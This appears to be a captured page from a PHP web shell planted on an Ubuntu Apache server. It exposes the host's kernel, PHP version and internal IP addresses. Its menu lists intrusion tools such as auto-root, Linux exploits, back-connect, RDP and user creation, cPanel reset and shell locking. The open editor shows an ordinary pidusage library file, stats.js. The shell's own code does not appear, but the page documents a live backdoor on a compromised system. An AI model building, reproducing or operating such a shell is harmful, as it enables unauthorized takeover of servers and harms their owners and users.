Linux websever 5.15.0-153-generic #163-Ubuntu SMP Thu Aug 7 16:37:18 UTC 2025 x86_64
Apache/2.4.52 (Ubuntu)
: 192.168.3.70 | : 192.168.1.99
Cant Read [ /etc/named.conf ]
8.1.2-1ubuntu2.23
urlab
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
events /
node_modules /
pidusage /
lib /
[ HOME SHELL ]
Name
Size
Permission
Action
helpers
[ DIR ]
drwxrwxr-x
bin.js
892
B
-rw-rw-r--
history.js
1.7
KB
-rw-rw-r--
procfile.js
3.83
KB
-rw-rw-r--
ps.js
3.87
KB
-rw-rw-r--
stats.js
1.93
KB
-rw-rw-r--
wmic.js
4.13
KB
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : stats.js
'use strict' const fs = require('fs') const os = require('os') const requireMap = { ps: () => require('./ps'), procfile: () => require('./procfile'), wmic: () => require('./wmic') } const platformToMethod = { aix: 'ps', os400: 'ps', android: 'procfile', alpine: 'procfile', darwin: 'ps', freebsd: 'ps', os390: 'ps', linux: 'procfile', netbsd: 'procfile', openbsd: 'ps', sunos: 'ps', win: 'wmic' } let platform = os.platform() if (fs.existsSync('/etc/alpine-release')) { platform = 'alpine' } if (platform.match(/^win/)) { platform = 'win' } let stat try { stat = requireMap[platformToMethod[platform]]() } catch (err) {} /** * @callback pidCallback * @param {Error} err A possible error. * @param {Object} statistics The object containing the statistics. */ /** * Get pid informations. * @public * @param {Number|Number[]|String|String[]} pids A pid or a list of pids. * @param {Object} [options={}] Options object * @param {pidCallback} callback Called when the statistics are ready. */ function get (pids, options, callback) { let fn = stat if (platform !== 'win' && options.usePs === true) { fn = requireMap.ps() } if (fn === undefined) { return callback(new Error(os.platform() + ' is not supported yet, please open an issue (https://github.com/soyuka/pidusage)')) } let single = false if (!Array.isArray(pids)) { single = true pids = [pids] } if (pids.length === 0) { return callback(new TypeError('You must provide at least one pid')) } for (let i = 0; i < pids.length; i++) { pids[i] = parseInt(pids[i], 10) if (isNaN(pids[i]) || pids[i] < 0) { return callback(new TypeError('One of the pids provided is invalid')) } } fn(pids, options, function (err, stats) { if (err) { return callback(err) } if (single) { callback(null, stats[pids[0]]) } else { callback(null, stats) } }) } module.exports = get
Close